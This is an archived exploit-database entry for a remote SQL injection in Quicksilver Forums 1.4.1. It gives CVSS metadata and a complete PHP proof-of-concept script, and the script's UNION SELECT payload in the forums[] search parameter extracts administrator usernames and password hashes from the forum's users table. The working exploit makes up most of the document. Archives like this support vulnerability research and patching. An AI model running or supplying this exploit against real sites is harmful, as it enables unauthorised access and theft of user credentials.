Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

2008-08-14 / 2008-08-15
Credit: irk4z
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /* . vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit . download: http://www.quicksilverforums.com/ . . author: irk4z[at]yahoo.pl . homepage: http://irk4z.wordpress.com/ . . greets: all friends ;) . . this is PoC exploit */ $host = $argv[1]; $path = $argv[2]; $prefix = "qsf_"; // this is default prefix echo ".\n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit\n.\n". ". author: irk4z[at]yahoo.pl\n". ". homepage: http://irk4z.wordpress.com/\n". ".\n". ". usage: php ".$argv[0]." host path\n". ". php ".$argv[0]." localhost /\n\n"; if(empty($host)||empty($path))die('# wrong host or path..'); $post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search"; $data = "POST ".$path."index.php?a=search HTTP/1.1\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Content-length: ".strlen($post_data)."\r\n"; $data .= "Connection: Close\r\n"; $data .= "\r\n"; $data .= $post_data."\r\n\r\n"; $s = @fsockopen($host, 80); if (empty($s)) die('# wrong host..'); fputs($s, $data); $retu =''; while(!feof($s)){ $retu .= fgets($s); } fclose($s); $tmp = explode('[:!:]',$retu); if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..'); echo " " . $tmp[1] . "\n\ndone."; ?>

References:

http://www.securityfocus.com/bid/30623
http://www.milw0rm.com/exploits/6223
http://secunia.com/advisories/31419


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